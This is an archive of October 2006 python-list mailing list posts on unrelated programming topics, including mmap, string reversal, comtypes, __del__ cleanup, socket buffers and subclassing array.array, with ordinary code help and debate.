References: <22pUg.132825$zy5.1820633@twister1.libero.it><7xk63h232z.fsf@ruckus.brouhaha.com>	<eftfoe$l8n$1@sea.gmane.org><mailman.1155.1159876666.10491.python-list@python.org><mailman.1163.1159879479.10491.python-list@python.org><fxJUg.134222$zy5.1829414@twister1.libero.it><ue6dnQBgEPPCMr7YnZ2dnUVZ_rqdnZ2d@speakeasy.net><eg0bo2$obu$1@nnrp.ngi.it>	<45240FD5.3050705@v.loewis.de><4n4Vg.135913$_J1.898276@twister2.libero.it><f4rfv3-vhg.ln1@nb2.stroeder.com>	<45254B18.2090806@v.loewis.de><mailman.1379.1160075929.10491.python-list@python.org><YzoVg.137036$zy5.1843214@twister1.libero.it><7x3ba1ltvj.fsf@ruckus.brouhaha.com>	<mailman.1457.1160140815.10491.python-list@python.org><H_IVg.138311$zy5.1854132@twister1.libero.it>
	<mailman.23.1160214637.11739.python-list@python.org>
	<0BQVg.138807$zy5.1859480@twister1.libero.it>
Message-ID: <45296552.4060705@v.loewis.de>

Giovanni Bajo schrieb:
>>> So, you might prefer 6-10 people to activate a new tracker account
>>> faster than light. I'd rather have 3-days delay in administrative
>>> issues because our single administrator is sleeping or whatever, and
>>> then have 2-3 people doing regular bug processing.
> 
> Are you ever going to try and make a point which is not "you are not entitled
> to have opinions because you do not act"? Your sarcasm is getting annoying. And
> since I'm not trolling nor flaming, I think I deserve a little bit more of
> respect.

You seem to imply that people who are willing to do roundup admin could
regularly, easily do bug triage, and also would be willing to do so. I
can attest that this assumption is sooooooo remote from the truth that
I can't really believe you really meant it.

I have called for people doing bug review and providing patches many
many times, and most of these calls got unheard.

Regards,
Martin


From timr at probo.com  Thu Oct 26 00:28:21 2006
From: timr at probo.com (Tim Roberts)
Date: Thu, 26 Oct 2006 04:28:21 GMT
Subject: using mmap on large (> 2 Gig) files
References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com>
	<1161648415.830523.225520@k70g2000cwa.googlegroups.com>
	<donn-672033.09225124102006@gnus01.u.washington.edu>
	<1161730045.377608.221250@e3g2000cwe.googlegroups.com>
Message-ID: <s3e0k21cmm6o7pki380ni66eiihv73ac0n@4ax.com>

"sturlamolden" <sturlamolden at yahoo.no> wrote:
>
>However, "memory mapping" a file by means of fseek() is probably more
>efficient than using UNIX' mmap() or Windows'
>CreateFileMapping()/MapViewOfFile().

My goodness, do I disagree with that!  At least on Windows, I/O on a file
mapped with MapViewOfFile uses the virtual memory pager -- the same
mechanism used by the swap file.  Because it is so heavily used, that is
some of the most well-optimized code in the system.

>We can implement a container object backed by a binary file just as
>efficient (and possibly even more efficient) without using the OS'
>memory mapping facilities. The major advantage is that we can
>"pseudo-memory map" a lot more than a 32 bit address space can harbour.

Both the Unix mmap and the Win32 MapViewOfFile allow a starting byte
offset.  It wouldn't be rocket science to extend Python's mmap to allow
that.

>There are in any case room for improving Python's mmap object.

Here we agree.
-- 
Tim Roberts, timr at probo.com
Providenza & Boekelheide, Inc.


From steve at REMOVE.THIS.cybersource.com.au  Thu Oct 19 19:04:07 2006
From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano)
Date: Fri, 20 Oct 2006 09:04:07 +1000
Subject: invert or reverse a string... warning this is a rant
References: <eh8708$nc7$1@solaris.cc.vt.edu>
	<7iNZg.117$1n3.3352@news.tufts.edu>
	<eh89n4$r5q$1@solaris.cc.vt.edu>
Message-ID: <pan.2006.10.19.23.04.06.704397@REMOVE.THIS.cybersource.com.au>

On Thu, 19 Oct 2006 12:38:55 -0400, Brad wrote:

> John Salerno wrote:
>> rick wrote:
>>> Why can't Python have a reverse() function/method like Ruby?
>> 
>> I'm not steeped enough in daily programming to argue that it isn't 
>> necessary, but my question is why do you need to reverse strings? Is it 
>> something that happens often enough to warrant a method for it?
> 
> I'm home for lunch so my email addy is different.
> 
> No, it doesn't happen very often, but when I need to reverse something 
> (usually a list or a string). I can never remember right of the top of 
> my head how to do so in Python. I always have to Google for an answer or 
> refer back to old code.
> 
> IMO, I should be able to intuitively know how to do this. Python is so 
> user-friendly most every place else... why can it not be so here?

I agree -- the reversed() function appears to be an obvious case of purity
overriding practicality :(

>>> str(reversed("some string"))
'<reversed object at 0xb7edca4c>'
>>> repr(reversed("some string"))
'<reversed object at 0xb7edca4c>'

Not very useful.

The simplest ways to get a reversed string seem to be:

>>> "some string"[::-1]
'gnirts emos'
>>> ''.join(list(reversed("some string")))
'gnirts emos'

neither of which are exactly intuitive, but both are standard Python
idioms.



> I wrote this so I'll never have to remember this again:
> 
> def invert(invertable_object):
>      try:
>          print invertable_object[::-1]
>          return invertable_object[::-1]
>      except:
>          print 'Object not invertable'
>          return 1

Gah!!! That's *awful* in so many ways.

(1) The name is bad. "invert" is not the same as "reverse". Here's an
invert: 1/2 = 0.5. Your function falsely claims numbers aren't invertable.

(2) Why calculate the reversed object twice?

(3) It is poor practice to have the same function both *print* the result
and *return* the result. What happens when you want the reversed object,
but you don't want it to print? You either write a new function, or you
muck about capturing output and hiding it. You should return the result,
and leave it up to the caller to print if they want to print.

(That's a complaint I have about the dis module -- it prints its results,
instead of returning them as a string. That makes it hard to capture the
output for further analysis.)

(4) Why are you capturing Python's perfectly good and useful traceback,
and printing an unhelpful error message?

(5) Errors should raise exceptions, not return "magic numbers" like 1. 1
is not an error-state, it is perfectly fine output. Now you have to
remember that your invert function returns 1 on error, and calling code
has to check for it:

list_of_reversed_object = []
for obj in list_of_objects_to_reverse:
    temp = invert(obj)
    if temp == 1:
        raise ValueError("invalid object")
        # or do something else...
    list_of_reversed_objects.append(temp)

Compare:

list_of_reversed_object = []
for obj in list_of_objects_to_reverse:
    list_of_reversed_objects.append(invert(obj))


Or if you want to skip invalid objects:

list_of_reversed_object = []
for obj in list_of_objects_to_reverse:
    try:
        list_of_reversed_objects.append(invert(obj))
    except SomeError:
        pass



-- 
Steven.



From kay.schluehr at gmx.net  Wed Oct 11 02:16:42 2006
From: kay.schluehr at gmx.net (Kay Schluehr)
Date: 10 Oct 2006 23:16:42 -0700
Subject: Python component model
In-Reply-To: <mailman.260.1160543450.11739.python-list@python.org>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net>
	<UVDWg.12152$UG4.2954@newsread2.news.pas.earthlink.net>
	<egfmaj$hcf$1@sea.gmane.org>
	<mailman.260.1160543450.11739.python-list@python.org>
Message-ID: <1160547402.352473.229480@k70g2000cwa.googlegroups.com>


Hendrik van Rooyen wrote:
> "Fredrik Lundh" <fredrik at pythonware.com> wrote:
> > Nick Vatamaniuc wrote:
> >
> > > At the same time one could claim that Python already has certain
> > > policies that makes it seem as if it has a component model.
> 8<----------------------------------------------------------------------------
>
> > implementing this using existing mechanisms is trivial (as the endless
> > stream of interface/component/adapter/trait implementations have shown
> > us); coming up with a good-enough-to-be-useful-for-enough-people
> > vocabulary is a lot harder.
>
> not sure if its trivial - but agree about the generality - my meat is your
> poison effect operating here -
> and also - standards are not per se a *Good Thing* - they stifle both
> inventiveness and diversity...
>
> - Hendrik

Culture matters. Some things exist below a certain level of visibility
and are quite evident for their practitioners but hardly recognized by
anyone else.

http://bitworking.org/news/Why_so_many_Python_web_frameworks

There is not even a name for this kind of "coherent diversity" and at
least Python doesn't brand it in any way. Maybe Pythons "obvious one
way to do it" credo is more harmfull to the community as a whole than
not having invented RoR. Python is ironically not proofed by hype which
always favours a cyclopic universe of a single true solution.



From fredrik at pythonware.com  Thu Oct 12 02:23:50 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 12 Oct 2006 08:23:50 +0200
Subject: Standard Forth versus Python: a case study
In-Reply-To: <7xslhuxg6w.fsf@ruckus.brouhaha.com>
References: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com>	<7x3b9u376m.fsf@ruckus.brouhaha.com>	<Z46dnTJWqdH0wLDYnZ2dnUVZ_sOdnZ2d@wispertel.com>	<1160603937.392188.253250@m7g2000cwm.googlegroups.com>	<1160619958.438049.53390@h48g2000cwc.googlegroups.com>	<l2jXg.63366$5o5.46778@tornado.texas.rr.com>
	<7xslhuxg6w.fsf@ruckus.brouhaha.com>
Message-ID: <egkn1n$adv$1@sea.gmane.org>

Paul Rubin wrote:

>> Ok, I'll bite.  How do you compute the median of a list using just a single 
>> temp var?
> 
> Well there's an obvious quadratic-time method...

that does it without modifying the list?

if you can modify the list, there are plenty of algorithms that does it 
in expected O(n) or better, but I cannot think of a one that doesn't use 
at least a few variables (e.g. two list indexes and a pivot).

but I haven't had enough coffee yet, so I'm probably missing something 
simple here.

</F>



From andrew.markebo at comhem.se  Tue Oct 10 08:06:27 2006
From: andrew.markebo at comhem.se (Andrew Markebo)
Date: Tue, 10 Oct 2006 12:06:27 GMT
Subject: Linting python code...
Message-ID: <m31wpgjryh.fsf@flognat.myip.nu>

Alalalala lint.. alalalala lint... 

Ehm :-) 

Are there any python-code linter out there - or the code is so easy to
write that it always is so perfekt? :-)

      /Andy

-- 
 Don't walk in front of me, I might be unable to follow you. 
 Don't walk after me, I might be unable to lead you. 
 Just walk by my side and be my friend.


From g.brandl-nospam at gmx.net  Sun Oct 22 06:01:11 2006
From: g.brandl-nospam at gmx.net (Georg Brandl)
Date: Sun, 22 Oct 2006 12:01:11 +0200
Subject: ANN compiler2 : Produce bytecode from Python 2.5 Abstract Syntax
	Trees
In-Reply-To: <mailman.813.1161325547.11739.python-list@python.org>
References: <mailman.813.1161325547.11739.python-list@python.org>
Message-ID: <ehffhc$r05$1@news.albasani.net>

Michael Spencer wrote:
> Announcing: compiler2
> ---------------------
> 
> For all you bytecode enthusiasts:  'compiler2' is an alternative to the standard 
> library 'compiler' package, with several advantages.

Is this a rewrite from scratch, or an improved stdlib compiler package?

In the latter case, maybe you can contribute some patches to the core.

Georg


From Luwian at gmail.com  Mon Oct 23 20:02:19 2006
From: Luwian at gmail.com (Lucas)
Date: 23 Oct 2006 17:02:19 -0700
Subject: How to get each pixel value from a picture file!
In-Reply-To: <453d5360$0$13811$4d3efbfe@news.sover.net>
References: <1161636589.022879.37000@f16g2000cwb.googlegroups.com>
	<mailman.1013.1161637584.11739.python-list@python.org>
	<1161643563.111993.109480@b28g2000cwb.googlegroups.com>
	<mailman.1021.1161644257.11739.python-list@python.org>
	<1161645289.453600.107140@h48g2000cwc.googlegroups.com>
	<453d5360$0$13811$4d3efbfe@news.sover.net>
Message-ID: <1161648139.576054.214070@k70g2000cwa.googlegroups.com>

http://www.pythonware.com/library/pil/handbook/image.htm

im.load() said....

Leif K-Brooks wrote:
> Lucas wrote:
> > 1)I just copy the tutorial to run "print pix[44,55]". I really dont
> > know why they wrote that?!
> 
> What tutorial? Where does it say that?



From winkatl1213 at yahoo.com  Thu Oct  5 10:25:59 2006
From: winkatl1213 at yahoo.com (winkatl1213 at yahoo.com)
Date: 5 Oct 2006 07:25:59 -0700
Subject: Getting a ValueError with comtypes
Message-ID: <1160058359.839402.3600@k70g2000cwa.googlegroups.com>

Hello,

I am working with comtypes to interface Microsoft's DirectShow library.

First, I found a Type Library on the internet that was created for
accessing DirectShow from .NET.  It seems that DirectShow only comes
with IDL files and no type library.

This got me started.

The following line imports the typelibrary and automatically generates
a wrapper module for DirectShow.

ds = comtypes.client.GetModule('DirectShow.tlb')

Next, I can basically start with something like this:

graph = comtypes.CoCreateInstance(CLSID_FilterGraph, ds.IGraphBuilder,
comtypes.CLSCTX_INPROC_SERVER)

I had to create the CLSID_FilterGraph parameter myself by doing the
following:

CLSID_FilterGraph =
comtypes.GUID('{e436ebb3-524f-11ce-9f53-0020af0ba770}')

One of the first issues I ran into was that the type library I found on
the web didn't expose the IMediaControl interface.  So, using the
generated wrapper as a template, I created my own wrapper:

class IMediaControl(comtypes.IUnknown):
    _case_insensitive_ = True
    _iid_ = comtypes.GUID('{56A868B1-0AD4-11CE-B03A-0020AF0BA770}')
    _idlflags_ = []
IMediaControl._methods_ = [
    COMMETHOD([], HRESULT, 'Run'),
    COMMETHOD([], HRESULT, 'Pause'),
    COMMETHOD([], HRESULT, 'Stop'),
    COMMETHOD([], HRESULT, 'StopWhenReady'),
    COMMETHOD([], HRESULT, 'GetState',
              (['in'], c_long, 'msTimeout'),
              (['out'], POINTER(c_int), 'pfs' ))
]

This got me further.  Once I defined the interface, I get access to the
interface by calling:

control = graph.QueryInterface(IMediaControl)

This seemed to work.  Once I got everything setup, I tried to use this
interface.  For example:

control.Run()

This generates an exception:

Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "ds.py", line 462, in play
    control.Run()
ValueError: Procedure probably called with not enough arguments (4
bytes missing)

You can get errors like this when using ctypes if you use the wrong
calling convention (CDLL versus WINDLL).

The method "Run" on the IMediaControl interface doesn't take any
arguments.

I did notice that some wrapper code uses STDMETHOD versus COMMETHOD,
but changing this didn't make any difference.

Can anyone explain what might be happening here, or offer some
suggestions?

Thanks in advance,

Jeff



From python.list at tim.thechases.com  Tue Oct 10 14:50:57 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Tue, 10 Oct 2006 13:50:57 -0500
Subject: Is a list static when it's a class member?
In-Reply-To: <1160505300.141637.40170@i3g2000cwc.googlegroups.com>
References: <1160505300.141637.40170@i3g2000cwc.googlegroups.com>
Message-ID: <452BEB91.4070002@tim.thechases.com>

> class A:
>     name = ""
>     data = []
>     def __init__(self, name):
>         self.name = name
>     def append(self, info):
>         self.data.append(info)
>     def enum(self):
>         for x in self.data:
>             print "\t%s" % x
> How do i get:
> A:
>         one
>         two
> B:
>         horse
>         bear
> A:
>         one
>         two


class A:
     name = ""
#    data = []  # just move this line
     def __init__(self, name):   #
         self.name = name        #
         self.data = []  #      here
     def append(self, info):
         self.data.append(info)
     def enum(self):
         for x in self.data:
             print "\t%s" % x


It will be given a "fresh" list upon each __init__ call.

-tkc




From fredrik at pythonware.com  Thu Oct 12 05:38:21 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 12 Oct 2006 11:38:21 +0200
Subject: python's newbie question
References: <1160644525.605518.55840@e3g2000cwe.googlegroups.com>
Message-ID: <egl2ed$jm7$1@sea.gmane.org>

tpochep at mail.ru wrote:

> begin...
> Derived.__init__:
> Base1.__init__ <__main__.Derived instance at 0x1869adcc>
> Base2.__init__ <__main__.Derived instance at 0x1869adcc>
> end...
> Derived.__del__:
> Exception exceptions.AttributeError: "'NoneType' object has no
> attribute '__del__'" in <bound method
> Derived.__del__ of <__main__.Derived instance at 0x1869adcc>> ignored
>
> I tried different names instead of b1, sometimes programm works,
> sometimes I have an exception. So it's clear, that I've done some
> stupid mistake, but it's not clear for me, python's newbie, where :)

The real mistake here is to use __del__ in your program; don't do that, unless
you have really good reasons (and they are few and not very common).  In most
cases, you can just rely on Python's garbage collector; it'll clean up after you all
by itself, most of the time.

The error you're seeing is due to the fact that Python attempts to destroy every-
thing during shutdown, and this process includes clearing out the contents of all
modules in the program.  Your object is simply destroyed *after* the module it's
defined in is cleared.  To work around this, you need to keep references to all
objects you might end up needing in your object.  (Or just drop the __del__
methods.  Chances are that you don't really need them.)  For more on module
cleanup, see this old Guido essay:

    http://www.python.org/doc/essays/cleanup/

</F> 





From fredrik at pythonware.com  Mon Oct 16 11:58:09 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 16 Oct 2006 17:58:09 +0200
Subject: How to increase buffer size of a file ?
In-Reply-To: <45339A17.1070607@gmail.com>
References: <45339A17.1070607@gmail.com>
Message-ID: <eh0a6l$2ei$1@sea.gmane.org>

durumdara wrote:

> How to increase buffer size of a file ?
> I want to use more buffer, but I don't want to replace every file object 
> with my class.

the open() file factory takes the buffer size as an optional third 
argument.  see the documentation for details.

</F>



From onurb at xiludom.gro  Thu Oct 12 12:36:50 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Thu, 12 Oct 2006 18:36:50 +0200
Subject: Click and Drag Functionality in Web Apps with Python
In-Reply-To: <mailman.374.1160660171.11739.python-list@python.org>
References: <mailman.374.1160660171.11739.python-list@python.org>
Message-ID: <452e6f23$0$4534$426a34cc@news.free.fr>

Wijaya Edward wrote:
> Hi,
>  
> Some recent webapps like Kiko <http://www.kiko.com/> , Google's gadget <http://www.google.com/ig/directory?hl=en> , and spreadsheets <http://spreadsheets.google.com>  to name a few, 
> have this functionality. 
> 
> I wonder how can this funcitonalities be implemented in Python. 

I wonder too !-)

Seriously: this is done with Javascript, not Python. But if you're
looking for a Python web framework making such things easy, then Pylons
is for you:
http://pylonshq.com/docs/0.9.2/quick_wiki.html#delete
http://pylonshq.com/project/pylonshq/wiki/AjaxGettingStarted

HTH

-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From irmen.NOSPAM at xs4all.nl  Mon Oct 23 18:44:44 2006
From: irmen.NOSPAM at xs4all.nl (Irmen de Jong)
Date: Tue, 24 Oct 2006 00:44:44 +0200
Subject: Socket module bug on OpenVMS
In-Reply-To: <mailman.960.1161583010.11739.python-list@python.org>
References: <453ba3a8$0$322$e4fe514c@news.xs4all.nl>
	<mailman.960.1161583010.11739.python-list@python.org>
Message-ID: <453d45de$0$336$e4fe514c@news.xs4all.nl>

Fredrik Lundh wrote:
> Irmen de Jong wrote:
> 
>> This also raises the question to what extent Python itself should
>> work around platform specific "peculiarities", such as this one.
>> There's another problem with socket code on Windows and VMS systems,
>> where you get strange exceptions when using a "too big" recv() buffer.
> 
> what's a "strange exception" and a "too big" buffer?

The exceptions are MemoryError (I know this one for sure)
and a socket.error I believe (can't remember exactly, and I don't
have a VMS machine to try to reproduce).
Too big buffer means anything above 64 kilobyte or so.

You can find a lot of reports about this happening on Windows at least.
 From user reports I've learned that VMS also has similar problems with
recv buffer sizes above a certain size.

>> Things like this force me into writing all sorts of error checking
>> code or platform specific functions, to work around these bugs.
>> Just for what was supposed to be a simple socket recv() and a
>> simple socket send()...
> 
> if you want buffering, use makefile().  relying on platform-specific 
> behaviour isn't a good way to write portable code.

I'm not sure if makefile() would shield me from the problems I experienced
(I could try I suppose) but your second remark is exactly my point!
I don't *want* to code around platform-specific behavior. I *want* my
code to be portable. And I expected it to be portable by just using
a regular recv() call... However as it is now, Python's socket module
exposes platform specific (and troublesome) behavior, so I have to write
various workarounds to make my code run without errors on multiple platforms...

Regards,

--Irmen de Jong


From devilwolf22 at gmail.com  Tue Oct 10 16:32:30 2006
From: devilwolf22 at gmail.com (Steve Menard)
Date: Tue, 10 Oct 2006 16:32:30 -0400
Subject: (semi-troll): Is Jython development dead?
References: <mailman.218.1160491229.11739.python-list@python.org>
Message-ID: <1PVWg.35855$HE.987929@weber.videotron.net>


"Walter S. Leipold" <leipold at ace-net.com> wrote in message 
news:mailman.218.1160491229.11739.python-list at python.org...
> John Roth (JohnRoth1 at jhrothjr.com) wrote:
>> I've had a couple of inquiries about Jython support
>> in PyFIT, and I've had to say that it simply isn't
>> supported. The latest point release requires Python
>> 2.3, and 2.4 will be required in the next year or so.
>>
>> John Roth
>> Python FIT
>
> Just last month, Sun hired Charles Nutter and Thomas Enebo to work on 
> JRuby
> full-time.  Can somebody with some street cred (like the PSF) do something
> to persuade Sun to support Jython the same way?
>
> -- Walt

Keep in mind that Ruby and Python are close enough in style, that any 
improvements those guys make will also benifit Jython.

Also, they haven't been hired to work exclusively on JRuby. They were also 
hired to look at tools to help with programming with dynamic languages. In 
this regard, they can help not only Jython, but Python itself!

All in all a very good thing to see a high-profile company invest in dynamic 
languages.

Steve Menard 




From fredrik at pythonware.com  Tue Oct 24 11:59:25 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 24 Oct 2006 17:59:25 +0200
Subject: Visibility against an unknown background
In-Reply-To: <ehlbvm$rg9$1@sea.gmane.org>
References: <1161701658.722683.46230@e3g2000cwe.googlegroups.com>
	<ehlbvm$rg9$1@sea.gmane.org>
Message-ID: <ehld8u$68u$1@sea.gmane.org>

Sergei Organov wrote:

> There is a better way to do it. Check if the toolkit has line drawing
> mode that XORs the line color with the background, then draw using this
> mode and white color of the line.

which means that the selection looks like crap most of the time, and 
doesn't work at all on medium gray or b/w dithered patterns.

for most cases, "marching ants" is a much better approach (usually done 
by drawing alternating stippled patterns).  see e.g.

     http://en.wikipedia.org/wiki/Marching_ants

for some background.

</F>



From apardon at forel.vub.ac.be  Fri Oct 27 06:40:43 2006
From: apardon at forel.vub.ac.be (Antoon Pardon)
Date: 27 Oct 2006 10:40:43 GMT
Subject: question about True values
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<7x4ptsi544.fsf@ruckus.brouhaha.com>
	<1161803802.110116.127470@m7g2000cwm.googlegroups.com>
	<7xvem8gq22.fsf@ruckus.brouhaha.com>
	<1161804934.010376.151330@f16g2000cwb.googlegroups.com>
	<453FD3AF.4040800@v.loewis.de>
	<1161812827.596356.316450@f16g2000cwb.googlegroups.com>
	<donn-4380C3.15593125102006@gnus01.u.washington.edu>
	<1161860305.348329.283780@m73g2000cwd.googlegroups.com>
	<mailman.1264.1161861732.11739.python-list@python.org>
	<donn-15D0D7.09580726102006@gnus01.u.washington.edu>
	<slrnek3kvc.aqe.apardon@rcpc42.vub.ac.be>
	<mailman.1341.1161943345.11739.python-list@python.org>
Message-ID: <slrnek3ohb.aqe.apardon@rcpc42.vub.ac.be>

On 2006-10-27, Fredrik Lundh <fredrik at pythonware.com> wrote:
> Antoon Pardon wrote:
>
>> The latter will treat None and False the same as [], () and {},
>> which in most of my code is not what I want.
>
> since you never publish any code,

This is not True. You shouldn't confuse your lack of recollection
with reality.

> what you do in your code is not very interesting to anyone.

I doubt I'm the only one who has code that treats None and False
differently from [], () and {}

-- 
Antoon Pardon


From bjobrien62 at gmail.com  Wed Oct  4 11:06:30 2006
From: bjobrien62 at gmail.com (SpreadTooThin)
Date: 4 Oct 2006 08:06:30 -0700
Subject: Need help with syntax on inheritance.
In-Reply-To: <efvqp8$nug$03$1@news.t-online.com>
References: <1159927793.600354.150330@b28g2000cwb.googlegroups.com>
	<efvqp8$nug$03$1@news.t-online.com>
Message-ID: <1159974390.674961.214690@k70g2000cwa.googlegroups.com>


Peter Otten wrote:
> SpreadTooThin wrote:
>
> > If you are deriving a new class from another class,
> > that you must (I assume) know the initializer of the other class.
> >
> > So in myClass
> >
> > import array
> > class myClass(arrary.array):
> >    def __init__(self, now here I need to put array's constructor
> > parameters..., then mine):
> >       array.array.__init__(self, typecode[, initializer])
> >       self.mine = mine
> >
> > So I'm confused...
> > array has a typecode parameter and an optional initiializer...
> > So could you help me with the class construction here please?
>
> Normally you would do
>
> # won't work
> class Array(array.array):
>     def __init__(self, typecode, initalizer=(), mine=None):
>         array.array.__init__(self, typecode, initializer)
>         self.mine = mine
>
> However, array.array is a bit harder to subclass:
>
> # should work
> class Array(array.array):
>     def __new__(cls, typecode, initializer=(), mine=None):
>         return array.array.__new__(cls, typecode, initializer)
>     def __init__(self, typecode, initializer=(), mine=None):
>         array.array.__init__(self, typecode, initializer)
>         self.mine = mine
>
> See if you can get away by making the array an attribute of your class
> instead.
>

Thanks.
the =() syntax indicates what?
Just slightly off topic here but if Array had a bunch of initializers
of its own,
must all the 'optional' parameters be on the right.. ie the last
parameters?


> Peter



From steve at holdenweb.com  Mon Oct  9 03:31:05 2006
From: steve at holdenweb.com (Steve Holden)
Date: Mon, 09 Oct 2006 08:31:05 +0100
Subject: Can't get around "IndexError: list index out of range"
In-Reply-To: <1160345922.051578.146630@i3g2000cwc.googlegroups.com>
References: <1160179043.266322.311940@i3g2000cwc.googlegroups.com>	<mailman.1.1160189272.11739.python-list@python.org>	<1160198110.064741.133700@k70g2000cwa.googlegroups.com>	<mailman.18.1160209645.11739.python-list@python.org>	<1160241982.216511.281950@m73g2000cwd.googlegroups.com>	<mailman.28.1160242710.11739.python-list@python.org>	<1160262952.734016.306150@e3g2000cwe.googlegroups.com>	<452846fe.0@entanet>	<1160267115.309599.26160@e3g2000cwe.googlegroups.com>	<pan.2006.10.08.00.59.05.695547@REMOVE.THIS.cybersource.com.au>	<1160269607.522241.311160@m73g2000cwd.googlegroups.com>	<pan.2006.10.08.10.57.45.461044@REMOVE.THIS.cybersource.com.au>	<1160332330.684420.276560@e3g2000cwe.googlegroups.com>	<mailman.61.1160333064.11739.python-list@python.org>	<1160335473.625244.261640@m7g2000cwm.googlegroups.com>	<mailman.76.1160338331.11739.python-list@python.org>
	<1160345922.051578.146630@i3g2000cwc.googlegroups.com>
Message-ID: <egctq4$ie$1@sea.gmane.org>

MonkeeSage wrote:
> On Oct 8, 3:05 pm, Steve Holden <s... at holdenweb.com> wrote:
> 
>>No: you are proposing to add features to the sequence interface for
>>which there are few demonstrable use cases.
> 
> 
> If I really wanted to find them, how many instances do you think I
> could find [in the standard lib and community-respected third-party
> libs] of sequence index checking like "if 2 < len(seq)" and / or
> try-excepting like "try: seq[2] ..."? Judging by the fact that there
> isn't any other way to *safely* handle dynamic sequences (esp.
> sequences which grow based on side-effects which may or may not be
> present, depending on the execution path through the code); I'd guess
> the number is alot higher than you seem to think.
> 
Keep right on guessing.

> 
>>Well I certainly didn't find your last one particularly convincing: the
>>attempt to reference a non-existent sequence member is almost always a
>>programming error.
> 
> 
> Unless you are interacting with user input, or other anomalous data
> source. And in that case you need to do explicit index checking or wrap
> your code with a try...except; that or you need a convenience function
> or method that implements a non-terminating exception, and you just
> check for the exceptional case, like dictionaries have with get(). I
> find the latter approach to be easier to read and write (see link
> below), as well as understand.
> 
OK, so now we appear to be arguing about whether a feature should go 
into Python because *you* find it to be easier to read and write. But I 
don't see a groundswell of support from other readers saying "Wow, I've 
always wanted to do it like that".

> 
>>I would argue exactly the opposite: the reason why they shouldn't be
>>implemented is because no good reason has been presented why they *should*.
> 
> 
> Pretend like there are no dict.has_key and dict.get methods. Can you
> provide a good reason(s) why they should be implemented? Not necessity
> -- since you can do the same thing more verbosely. Usefulness? --
> Probably; but I think the list methods would also be useful (see
> above). Succinctness [1]? -- The list methods have the same advantage.
> Anything else?
> 
> [1] http://mail.python.org/pipermail/python-dev/1999-July/000594.html
> 
Nope. In fact d.has_key(k) is a historical spelling, retained only for 
backwards compatibility, of k in dict. As to the d.get(k, default) 
method I really don't see a compelling use case despite your 
protestations, and I don't seem to be alone. Please feel free to start 
recruiting support.
> 
> On Oct 8, 3:11 pm, Fredrik Lundh <fred... at pythonware.com> wrote:
> 
>>>Huh? I don't want to treat sequences and mappings as the same thing.
>>>I'm talking about adding two similar convenience methods for sequences
>>>as already exist for mappings.so what makes you think you're the first one who's ever talked about that?
> 
> 
> I looked yesterday and only found a few posts. A couple involved
> Marc-Andre Lemburg, and mxTools, where he has a get() function that
> works for sequences and mappings; that's not what I'm suggesting.
> However, I found one from 1997 where he mentioned a patch to python 1.5
> which added list.get, but I couldn't find the patch or any discussion
> of why it was (presumably) rejected. The only other post I found that
> was relevant was one on the dev-python list (mentioned in the July 1-15
> summery [1]). And the only thing mentioned there as a reason against it
> is that "It encourages bad coding. You
> shouldn't be searching lists and tuples like that unless you know what
> you're doing." (Whatever that is supposed to mean!).
> 
> Just point me to the discussion where the good reasons (or any at all)
> against my suggestion can be found and I'll be glad to read it. I
> couldn't find it.
> 
> [1]
> http://www.python.org/dev/summary/2006-07-01_2006-07-15/#adding-list-get-and-tuple-get
> 
The fact that nobody has listed the good reasons why I shouldn't try to 
make a computer from mouldy cheese doesn't make this a good idea.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From bdesth.quelquechose at free.quelquepart.fr  Tue Oct 24 18:44:41 2006
From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers)
Date: Wed, 25 Oct 2006 00:44:41 +0200
Subject: strange problem
In-Reply-To: <aEv%g.8995$iM2.2455@trndny08>
References: <aEv%g.8995$iM2.2455@trndny08>
Message-ID: <453e92ec$0$12406$426a74cc@news.free.fr>

ken a ?crit :
> This file has 1,000,000+ lines in it, yet when I print the counter 'cin' 
> at EOF I get around 10,000 less lines. Any ideas?

Not without seeing the file.
But I'm not sure I want to see it !-)

>    lineIn = 
> csv.reader(file("rits_feed\\rits_feed_US.csv",'rb'),delimiter='|')
>     for emp in lineIn:
>         cin=cin+1
>     print cin

Note that manually tracking line count/number is way too boring. That's 
why Python as enumerate(seq) => indice, item



From martin at v.loewis.de  Fri Oct 13 18:37:36 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sat, 14 Oct 2006 00:37:36 +0200
Subject: Cannot force configure/setup.py to pick up location of readline
	(SFWrline) on Solaris 10
In-Reply-To: <mailman.441.1160743670.11739.python-list@python.org>
References: <mailman.441.1160743670.11739.python-list@python.org>
Message-ID: <45301530.1080906@v.loewis.de>

Chris Miles schrieb:
> How do I force the build to use the custom paths?

Not through setup.py. Instead, you edit Modules/Setup
to provide per-module compile and link flags.

Regards,
Martin


From sumesh.chopra at gmail.com  Tue Oct 31 16:26:12 2006
From: sumesh.chopra at gmail.com (unexpected)
Date: 31 Oct 2006 13:26:12 -0800
Subject: Integrating Python with Fortran
Message-ID: <1162329971.939178.290250@m7g2000cwm.googlegroups.com>

Hi all,

I'm currently working on a large, legacy Fortran application. I would
like to start new development in Python (as it is mainly I/O related).
In order to do so, however, the whole project needs to be able to
compile in Fortran.

I'm aware of resources like the F2Py Interface generator, but this only
lets me access the Fortran modules I need in Python. I'm wondering if
there's a way to generate the .o files from Python (maybe using
py2exe?) and then link the .o file with the rest of the Fortran project
using something like gcc.

